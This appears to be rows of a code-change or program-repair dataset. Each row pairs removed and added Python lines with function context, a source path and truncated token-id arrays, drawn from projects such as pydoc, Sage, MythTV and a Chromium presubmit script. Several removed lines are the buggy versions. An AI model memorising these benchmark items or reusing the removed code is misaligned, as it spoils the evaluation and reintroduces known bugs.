rem
stringlengths
1
226k
add
stringlengths
0
227k
context
stringlengths
6
326k
meta
stringlengths
143
403
input_ids
listlengths
256
256
attention_mask
listlengths
256
256
labels
listlengths
128
128
disambigName = u"template:disambig"
disambigName = wikipedia.translate(site, site.family.disambiguationTemplates())
def GetDisambigTemplates(site): """This method will return a set of disambiguation templates. Template:Disambig is always assumed to be default, and will be appended (in localized format) regardless of its existence. The rest will be aquired from the Wikipedia:Disambiguation Templates page. Only links to templates will be used from that page. """ disambigs = set() disambigName = u"template:disambig" disListName = u"Wikipedia:Disambiguation Templates" disListId = 0 templateNames = GetLinks(site, [disListName, disambigName]) for id, page in templateNames['pages'].iteritems(): if page['title'] == disambigName: if 'normalizedTitle' in page: disambigs.add(page['normalizedTitle']) elif 'redirect' in page: disambigs.add(page['title']) elif page['title'] == disListName: if 'normalizedTitle' in page: if 'refid' in page: disListId = page['refid'] else: disListId = id # Disambig page was found if disListId > 0: page = templateNames['pages'][disListId] if 'links' in page: for l in page['links']: if l['ns'] == 10: disambigs.add(l['*']) return disambigs
cc589050c8be033619a869a3ffce9337fc48cc3a /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/4404/cc589050c8be033619a869a3ffce9337fc48cc3a/query.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 968, 1669, 2536, 360, 8218, 12, 4256, 4672, 3536, 2503, 707, 903, 327, 279, 444, 434, 1015, 26011, 367, 5539, 18, 5035, 30, 1669, 2536, 360, 353, 3712, 12034, 358, 506, 805, 16, 471, 9...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 968, 1669, 2536, 360, 8218, 12, 4256, 4672, 3536, 2503, 707, 903, 327, 279, 444, 434, 1015, 26011, 367, 5539, 18, 5035, 30, 1669, 2536, 360, 353, 3712, 12034, 358, 506, 805, 16, 471, 9...
def _pass_read_annotations(self, node, chain): if not node.namespace: return False if isinstance(node, ast.Function): self._apply_annotations_function(node, chain) if isinstance(node, ast.Callback): block = self._blocks.get(node.c_name) self._apply_annotations_callable(node, chain, block)
def _get_annotation_name(self, node):
def _pass_read_annotations(self, node, chain): if not node.namespace: return False if isinstance(node, ast.Function): self._apply_annotations_function(node, chain) if isinstance(node, ast.Callback): block = self._blocks.get(node.c_name) self._apply_annotations_callable(node, chain, block) if isinstance(node, (ast.Class, ast.Interface, ast.Record, ast.Union, ast.Enum, ast.Bitfield, ast.Callback)): if node.ctype is not None: block = self._blocks.get(node.ctype) else: block = self._blocks.get(node.c_name) self._apply_annotations_annotated(node, block) if isinstance(node, (ast.Class, ast.Interface, ast.Record, ast.Union)): for field in node.fields: self._blocks.get('%s::%s' % (node.c_name, field.name)) self._apply_annotations_field(node, block, field) if isinstance(node, (ast.Class, ast.Interface)): for prop in node.properties: self._apply_annotations_property(node, prop) for sig in node.signals: self._apply_annotations_signal(node, sig) if isinstance(node, ast.Class): block = self._blocks.get(node.c_name) if block: tag = block.get(TAG_UNREF_FUNC) node.unref_func = tag.value if tag else None tag = block.get(TAG_REF_FUNC) node.ref_func = tag.value if tag else None tag = block.get(TAG_SET_VALUE_FUNC) node.set_value_func = tag.value if tag else None tag = block.get(TAG_GET_VALUE_FUNC) node.get_value_func = tag.value if tag else None return True
e2195f648dfc92fd57049f12a4944682c8e0fb1d /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/2770/e2195f648dfc92fd57049f12a4944682c8e0fb1d/maintransformer.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 588, 67, 11495, 67, 529, 12, 2890, 16, 756, 4672, 309, 1549, 12, 2159, 16, 261, 689, 18, 797, 16, 3364, 18, 1358, 16, 3364, 18, 2115, 16, 3364, 18, 14325, 16, 3364, 18, 3572, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 588, 67, 11495, 67, 529, 12, 2890, 16, 756, 4672, 309, 1549, 12, 2159, 16, 261, 689, 18, 797, 16, 3364, 18, 1358, 16, 3364, 18, 2115, 16, 3364, 18, 14325, 16, 3364, 18, 3572, ...
def get_parameter(param,so,inst):
def get_parameter(param, so, inst):
def copy_som_attr(result, res_descr, obj1, obj1_descr, obj2=None, obj2_descr=None, force=1): """ This function takes a result object and one or two other arbitrary objects and copies the attributes from the objects to the result object if the arbitrary objects are SOMs. Parameters: ---------- -> result is SOM, SO or tuple -> res_descr is the descriptor for the result object -> obj1 is SOM, SO or tuple -> obj1_descr is the descriptor for the obj1 object -> obj2 (OPTIONAL) is SOM, SO or tuple -> obj2_descr (OPTIONAL) is the descriptor for the obj2 object -> force (OPTIONAL) is a flag that says which object to copy last Returns: ------- <- A SOM with copied attributes """ if res_descr != SOM_type: return result if force == 1: if obj2 != None and obj2_descr == SOM_type: result.copyAttributes(obj2) if obj1_descr == SOM_type: result.copyAttributes(obj1) else: if obj1_descr == SOM_type: result.copyAttributes(obj1) if obj2 != None and obj2_descr == SOM_type: result.copyAttributes(obj2) return result
1a7152ef8214e57cb269e9232349874b9d88a4cc /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/763/1a7152ef8214e57cb269e9232349874b9d88a4cc/hlr_data_helper.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1610, 67, 87, 362, 67, 1747, 12, 2088, 16, 400, 67, 28313, 16, 1081, 21, 16, 1081, 21, 67, 28313, 16, 1081, 22, 33, 7036, 16, 1081, 22, 67, 28313, 33, 7036, 16, 2944, 33, 21, 4672,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1610, 67, 87, 362, 67, 1747, 12, 2088, 16, 400, 67, 28313, 16, 1081, 21, 16, 1081, 21, 67, 28313, 16, 1081, 22, 33, 7036, 16, 1081, 22, 67, 28313, 33, 7036, 16, 2944, 33, 21, 4672,...
if inspect.isbuiltin(value) or inspect.getmodule(value) is object: funcs.append(value)
if visible(key) and (inspect.isbuiltin(value) or inspect.getmodule(value) is object): funcs.append((key, value))
def docmodule(self, object): """Produce HTML documentation for a module object.""" name = object.__name__ parts = split(name, '.') links = [] for i in range(len(parts)-1): links.append( '<a href="%s.html"><font color="#ffffff">%s</font></a>' % (join(parts[:i+1], '.'), parts[i])) linkedname = join(links + parts[-1:], '.') head = '<big><big><strong>%s</strong></big></big>' % linkedname try: path = inspect.getabsfile(object) filelink = '<a href="file:%s">%s</a>' % (path, path) except TypeError: filelink = '(built-in)' info = [] if hasattr(object, '__version__'): version = str(object.__version__) if version[:11] == '$' + 'Revision: ' and version[-1:] == '$': version = strip(version[11:-1]) info.append('version %s' % self.escape(version)) if hasattr(object, '__date__'): info.append(self.escape(str(object.__date__))) if info: head = head + ' (%s)' % join(info, ', ') result = self.heading( head, '#ffffff', '#7799ee', '<a href=".">index</a><br>' + filelink)
37f7b38eb6247564c00c8a355ab12268e8486c4e /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8546/37f7b38eb6247564c00c8a355ab12268e8486c4e/pydoc.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 997, 2978, 12, 2890, 16, 733, 4672, 3536, 25884, 3982, 7323, 364, 279, 1605, 733, 12123, 508, 273, 733, 16186, 529, 972, 2140, 273, 1416, 12, 529, 16, 2611, 13, 4716, 273, 5378, 364, 2...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 997, 2978, 12, 2890, 16, 733, 4672, 3536, 25884, 3982, 7323, 364, 279, 1605, 733, 12123, 508, 273, 733, 16186, 529, 972, 2140, 273, 1416, 12, 529, 16, 2611, 13, 4716, 273, 5378, 364, 2...
sage: lp = LatticePolytope(matrix([(1, -1, 0), (-1, -1, 0), (1, 1, 0), (3, 3, 0)])) sage: lp.vertices()
sage: p.vertices()
def facet_constant(self, i): r""" Return the constant in the ``i``-th facet inequality of this polytope. The i-th facet inequality is given by self.facet_normal(i) * X + self.facet_constant(i) >= 0. INPUT: - ``i`` - integer, the index of the facet OUTPUT: - integer -- the constant in the ``i``-th facet inequality. EXAMPLES: Let's take a look at facets of the octahedron and some polytopes inside it:: sage: o = lattice_polytope.octahedron(3) sage: o.vertices() [ 1 0 0 -1 0 0] [ 0 1 0 0 -1 0] [ 0 0 1 0 0 -1] sage: o.facet_normal(0) (-1, -1, 1) sage: o.facet_constant(0) 1 sage: m = copy(o.vertices()) sage: m[0,0] = 0 sage: m [ 0 0 0 -1 0 0] [ 0 1 0 0 -1 0] [ 0 0 1 0 0 -1] sage: p = LatticePolytope(m) sage: p.facet_normal(0) (-1, 0, 0) sage: p.facet_constant(0) 0 sage: m[0,3] = 0 sage: m [ 0 0 0 0 0 0] [ 0 1 0 0 -1 0] [ 0 0 1 0 0 -1] sage: p = LatticePolytope(m) sage: p.facet_normal(0) (0, -1, 1) sage: p.facet_constant(0) 1
d3f0e4ca34fafb6808137a2658880304a3db8f29 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9890/d3f0e4ca34fafb6808137a2658880304a3db8f29/lattice_polytope.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 11082, 67, 14384, 12, 2890, 16, 277, 4672, 436, 8395, 2000, 326, 5381, 316, 326, 12176, 77, 10335, 17, 451, 11082, 316, 9729, 560, 434, 333, 7573, 869, 347, 18, 225, 1021, 277, 17, 451...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 11082, 67, 14384, 12, 2890, 16, 277, 4672, 436, 8395, 2000, 326, 5381, 316, 326, 12176, 77, 10335, 17, 451, 11082, 316, 9729, 560, 434, 333, 7573, 869, 347, 18, 225, 1021, 277, 17, 451...
self.file = socket(AF_INET6, SOCK_RAW, IPPROTO_IP)
self.file = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)
def __init__(self, name = None): """initialize an IPPConnector class for raw IPv6 access""" try: self.file = socket(AF_INET6, SOCK_RAW, IPPROTO_IP) except: raise
769f5092d9abdb29ddaf30b429517b95596d6ebd /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/5910/769f5092d9abdb29ddaf30b429517b95596d6ebd/__init__.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 508, 273, 599, 4672, 3536, 11160, 392, 2971, 52, 7487, 667, 364, 1831, 7853, 26, 2006, 8395, 775, 30, 365, 18, 768, 273, 2987, 12, 6799, 67, 18819, 26, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 508, 273, 599, 4672, 3536, 11160, 392, 2971, 52, 7487, 667, 364, 1831, 7853, 26, 2006, 8395, 775, 30, 365, 18, 768, 273, 2987, 12, 6799, 67, 18819, 26, ...
print 'connection made on irc service!?', self
def connectionMade(self): # XXX: Why do I duplicate code in IRCClient.register? try: print 'connection made on irc service!?', self if self.account.password: self.sendLine("PASS :%s" % self.account.password) self.setNick(self.account.username) self.sendLine("USER %s foo bar :Twisted-IM user" % (self.nickname,)) for channel in self.account.channels: self.joinGroup(channel) self.account._isOnline=1 print 'uh, registering irc acct' if self._logonDeferred is not None: self._logonDeferred.callback(self) self.chat.getContactsList() except: import traceback traceback.print_exc()
d0e699a6c6d742c3ce70afee65dd5ace32653396 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/12595/d0e699a6c6d742c3ce70afee65dd5ace32653396/ircsupport.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1459, 49, 2486, 12, 2890, 4672, 468, 11329, 30, 3497, 93, 741, 467, 6751, 981, 316, 467, 11529, 1227, 18, 4861, 35, 775, 30, 309, 365, 18, 4631, 18, 3664, 30, 365, 18, 4661, 1670, 29...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1459, 49, 2486, 12, 2890, 4672, 468, 11329, 30, 3497, 93, 741, 467, 6751, 981, 316, 467, 11529, 1227, 18, 4861, 35, 775, 30, 309, 365, 18, 4631, 18, 3664, 30, 365, 18, 4661, 1670, 29...
self.space.wrap(index)))
self.space.wrap(index))
def next_w(self): if not self.cont: raise OperationError(self.space.w_StopIteration, self.space.w_None) l = [None] * self.num_gears for x in range(0, self.num_gears): index, limit = self.indicies[x] l[x] = self.space.getitem(self.gears_w[x], self.space.wrap(index))) self.roll_gears() return self.space.newtuple(l)
6be5eaf674a845cb284aaf96e8cd4a87380179cb /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/6934/6be5eaf674a845cb284aaf96e8cd4a87380179cb/interp_itertools.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1024, 67, 91, 12, 2890, 4672, 309, 486, 365, 18, 1213, 30, 1002, 4189, 668, 12, 2890, 18, 2981, 18, 91, 67, 4947, 10795, 16, 365, 18, 2981, 18, 91, 67, 7036, 13, 328, 273, 306, 703...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1024, 67, 91, 12, 2890, 4672, 309, 486, 365, 18, 1213, 30, 1002, 4189, 668, 12, 2890, 18, 2981, 18, 91, 67, 4947, 10795, 16, 365, 18, 2981, 18, 91, 67, 7036, 13, 328, 273, 306, 703...
newRequirements += "&& %s" % " && ".join( reqList )
if reqList: newRequirements += "&& %s" % " && ".join( reqList )
def __sendJobToTaskQueue(self,job,siteCandidates=[]): """This method sends jobs to the task queue agent and if candidate sites are defined, updates job JDL accordingly. """ result = self.jobDB.getJobJDL(job) #means that reqts field will not be changed by any other optimizer if not result['OK']: return result if not result['Value']: self.log.warn('No JDL found for job') return S_ERROR('No JDL found for job')
c22836645a23f9b89779989592c05223d4e2742b /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/12864/c22836645a23f9b89779989592c05223d4e2742b/JobSchedulingAgent.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 4661, 2278, 774, 2174, 3183, 12, 2890, 16, 4688, 16, 4256, 18455, 33, 8526, 4672, 3536, 2503, 707, 9573, 6550, 358, 326, 1562, 2389, 4040, 471, 309, 5500, 9180, 854, 2553, 16, 4533...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 4661, 2278, 774, 2174, 3183, 12, 2890, 16, 4688, 16, 4256, 18455, 33, 8526, 4672, 3536, 2503, 707, 9573, 6550, 358, 326, 1562, 2389, 4040, 471, 309, 5500, 9180, 854, 2553, 16, 4533...
'http://chromium-status.appspot.com/current?format=raw', '(?i).*closed.*'))
json_url='http://chromium-status.appspot.com/current?format=json'))
def CheckChangeOnCommit(input_api, output_api): results = [] if not input_api.json: results.append(output_api.PresubmitNotifyResult( 'You don\'t have json nor simplejson installed.\n' ' This is a warning that you will need to upgrade your python ' 'installation.\n' ' This is no big deal but you\'ll eventually need to ' 'upgrade.\n' ' How? Easy! You can do it right now and shut me off! Just:\n' ' del depot_tools\\python.bat\n' ' gclient\n' ' Thanks for your patience.')) results.extend(_CommonChecks(input_api, output_api)) # TODO(thestig) temporarily disabled, doesn't work in third_party/ #results.extend(input_api.canned_checks.CheckSvnModifiedDirectories( # input_api, output_api, sources)) # Make sure the tree is 'open'. results.extend(input_api.canned_checks.CheckTreeIsOpen( input_api, output_api, 'http://chromium-status.appspot.com/current?format=raw', '(?i).*closed.*')) results.extend(input_api.canned_checks.CheckRietveldTryJobExecution(input_api, output_api, 'http://codereview.chromium.org', ('win', 'linux', 'mac'), 'tryserver@chromium.org')) # These builders are just too slow. IGNORED_BUILDERS = [ 'Chromium XP', 'Chromium Mac', 'Chromium Arm (dbg)', 'Chromium Linux', 'Chromium Linux x64', ] results.extend(input_api.canned_checks.CheckBuildbotPendingBuilds( input_api, output_api, 'http://build.chromium.org/buildbot/waterfall/json/builders?filter=1', 6, IGNORED_BUILDERS)) return results
4efa4214727d3cc50f9ca876f843ad4b57e7c479 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9392/4efa4214727d3cc50f9ca876f843ad4b57e7c479/PRESUBMIT.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2073, 3043, 1398, 5580, 12, 2630, 67, 2425, 16, 876, 67, 2425, 4672, 1686, 273, 5378, 309, 486, 810, 67, 2425, 18, 1977, 30, 1686, 18, 6923, 12, 2844, 67, 2425, 18, 12236, 373, 1938, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2073, 3043, 1398, 5580, 12, 2630, 67, 2425, 16, 876, 67, 2425, 4672, 1686, 273, 5378, 309, 486, 810, 67, 2425, 18, 1977, 30, 1686, 18, 6923, 12, 2844, 67, 2425, 18, 12236, 373, 1938, ...
if key == u'mythvideo' and graphics_dir: tmp_directories = graphics_dir.split(u':') if len(tmp_directories): for i in range(len(tmp_directories)): tmp_directories[i] = tmp_directories[i].strip() if tmp_directories[i] != u'': if os.path.exists(tmp_directories[i]): if tmp_directories[i][-1] != u'/': tmp_directories[i]+=u'/' vid_graphics_dirs[key] = tmp_directories[i] break else: logger.error(u"MythTV video directory (%s) is not set or does not exist(%s)" % (key, tmp_directories[i]))
if key == u'mythvideo': if graphics_dir: tmp_directories = graphics_dir.split(u':') if len(tmp_directories): for i in range(len(tmp_directories)): tmp_directories[i] = tmp_directories[i].strip() if tmp_directories[i] != u'': if os.path.exists(tmp_directories[i]): if tmp_directories[i][-1] != u'/': tmp_directories[i]+=u'/' vid_graphics_dirs[key] = tmp_directories[i] break else: logger.error(u"MythVideo video directory (%s) does not exist(%s)" % (key, tmp_directories[i])) else: logger.error(u"MythVideo video directory (%s) is not set" % (key, ))
def getMythtvDirectories(): """Get all video and graphics directories found in the MythTV DB and add them to the dictionary. Ignore any MythTV Frontend setting when there is already a storage group configured. """ # Stop processing if this local host has any storage groups global localhostname, vid_graphics_dirs, dir_dict, storagegroups # Pick up storage groups first for key in storagegroups.keys(): vid_graphics_dirs[key] = storagegroups[key] for key in dir_dict.keys(): if vid_graphics_dirs[key]: continue graphics_dir = mythdb.getSetting(dir_dict[key], hostname = localhostname) # Only use path from MythTV if one was found if key == u'mythvideo' and graphics_dir: tmp_directories = graphics_dir.split(u':') if len(tmp_directories): for i in range(len(tmp_directories)): tmp_directories[i] = tmp_directories[i].strip() if tmp_directories[i] != u'': if os.path.exists(tmp_directories[i]): if tmp_directories[i][-1] != u'/': tmp_directories[i]+=u'/' vid_graphics_dirs[key] = tmp_directories[i] break else: logger.error(u"MythTV video directory (%s) is not set or does not exist(%s)" % (key, tmp_directories[i])) if key != u'mythvideo': if graphics_dir and os.path.exists(graphics_dir): if graphics_dir[-1] != u'/': graphics_dir+=u'/' vid_graphics_dirs[key] = graphics_dir else: # There is the chance that MythTv DB does not have a dir logger.error(u"(%s) directory is not set or does not exist(%s)" % (key, dir_dict[key])) # Make sure there is a directory set for Videos and other graphics directories on this host for key in vid_graphics_dirs.keys(): if not vid_graphics_dirs[key]: logger.critical(u"There must be a directory for Videos and each graphics type. The (%s) directory is missing." % (key)) sys.exit(False) # Make sure that there is read/write access to all the directories Miro Bridge uses access_issue = False for key in vid_graphics_dirs.keys(): if not os.access(vid_graphics_dirs[key], os.F_OK | os.R_OK | os.W_OK): logger.critical(u"\nEvery Video and graphics directory must be read/writable for Miro Bridge to function. There is a permissions issue with (%s)." % (vid_graphics_dirs[key], )) access_issue = True if access_issue: sys.exit(False) # end getMythtvDirectories()
cefa7947527c8e9e2184befa6fb1cdca04096461 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/13713/cefa7947527c8e9e2184befa6fb1cdca04096461/mirobridge.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2108, 93, 451, 24161, 13071, 13332, 3536, 967, 777, 6191, 471, 17313, 6402, 1392, 316, 326, 8005, 451, 15579, 2383, 471, 527, 2182, 358, 326, 3880, 18, 8049, 1281, 8005, 451, 15579, 27162,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2108, 93, 451, 24161, 13071, 13332, 3536, 967, 777, 6191, 471, 17313, 6402, 1392, 316, 326, 8005, 451, 15579, 2383, 471, 527, 2182, 358, 326, 3880, 18, 8049, 1281, 8005, 451, 15579, 27162,...
update(config, baseurl, dryrun=True)
update(wc.Configuration(), baseurl, dryrun=True)
def _test (): # read local configuration config = Configuration() # test base url for all files baseurl = "http://localhost/~calvin/webcleaner.sf.net/htdocs/test/" update(config, baseurl, dryrun=True)
ff26d3c4dce7bb18e52370745ecc28f73cd601b5 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/3948/ff26d3c4dce7bb18e52370745ecc28f73cd601b5/update.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 3813, 1832, 30, 468, 855, 1191, 1664, 642, 273, 4659, 1435, 468, 1842, 1026, 880, 364, 777, 1390, 25427, 273, 315, 2505, 2207, 13014, 19, 98, 771, 21529, 19, 4875, 6200, 264, 18, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 3813, 1832, 30, 468, 855, 1191, 1664, 642, 273, 4659, 1435, 468, 1842, 1026, 880, 364, 777, 1390, 25427, 273, 315, 2505, 2207, 13014, 19, 98, 771, 21529, 19, 4875, 6200, 264, 18, ...
self.log.info('Could not determine some parameters, this is the stdout from the batch system call\n%s' %(result['Value'])) return S_ERROR('Could not determine some parameters')
self.log.info( 'Could not determine some parameters, this is the stdout from the batch system call\n%s' % ( result['Value'] ) ) return S_ERROR( 'Could not determine some parameters' )
def getResourceUsage(self): """Returns a dictionary containing CPUConsumed, CPULimit, WallClockConsumed and WallClockLimit for current slot. All values returned in seconds. """ if not self.jobID: return S_ERROR('Could not determine batch jobID from QSUB_REQNAME env var.')
013577d2510d87cdaee909fee435302cb1869e76 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/12864/013577d2510d87cdaee909fee435302cb1869e76/BQSTimeLeft.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5070, 5357, 12, 2890, 4672, 3536, 1356, 279, 3880, 4191, 12154, 20554, 16, 5181, 1506, 1038, 16, 678, 454, 14027, 20554, 471, 678, 454, 14027, 3039, 364, 783, 4694, 18, 225, 4826, 924, 2...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 5070, 5357, 12, 2890, 4672, 3536, 1356, 279, 3880, 4191, 12154, 20554, 16, 5181, 1506, 1038, 16, 678, 454, 14027, 20554, 471, 678, 454, 14027, 3039, 364, 783, 4694, 18, 225, 4826, 924, 2...
tarball = unmap_url(self.bindir, tarball, self.tmpdir)
tarball = unmap_url(self.bindir + '/' + tarball, self.tmpdir)
def setup(self, tarball = 'libhugetlbfs-1.0-pre4-1.tar.gz'): tarball = unmap_url(self.bindir, tarball, self.tmpdir) extract_tarball_to_dir(tarball, self.srcdir) os.chdir(self.srcdir)
df11d28d89b7bb23836136e082f69fa2e884e85e /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/12268/df11d28d89b7bb23836136e082f69fa2e884e85e/libhugetlbfs.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3875, 12, 2890, 16, 29441, 273, 296, 2941, 76, 89, 588, 20404, 2556, 17, 21, 18, 20, 17, 1484, 24, 17, 21, 18, 11718, 18, 9764, 11, 4672, 29441, 273, 640, 1458, 67, 718, 12, 2890, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3875, 12, 2890, 16, 29441, 273, 296, 2941, 76, 89, 588, 20404, 2556, 17, 21, 18, 20, 17, 1484, 24, 17, 21, 18, 11718, 18, 9764, 11, 4672, 29441, 273, 640, 1458, 67, 718, 12, 2890, ...
a.peak_dof = b.peak_dof
a.tfvolume = b.tfvolume
def smallest_enclosing_interval(seg1, seg2): return segments.segment(min(seg1[0], seg2[0]), max(seg1[1], seg2[1]))
bf40d42e8ac91fcdbfc4e1d22fe9e99f42936aca /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/5758/bf40d42e8ac91fcdbfc4e1d22fe9e99f42936aca/SnglBurstUtils.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 13541, 67, 1331, 10910, 67, 6624, 12, 5680, 21, 16, 2291, 22, 4672, 327, 5155, 18, 9273, 12, 1154, 12, 5680, 21, 63, 20, 6487, 2291, 22, 63, 20, 65, 3631, 943, 12, 5680, 21, 63, 21...
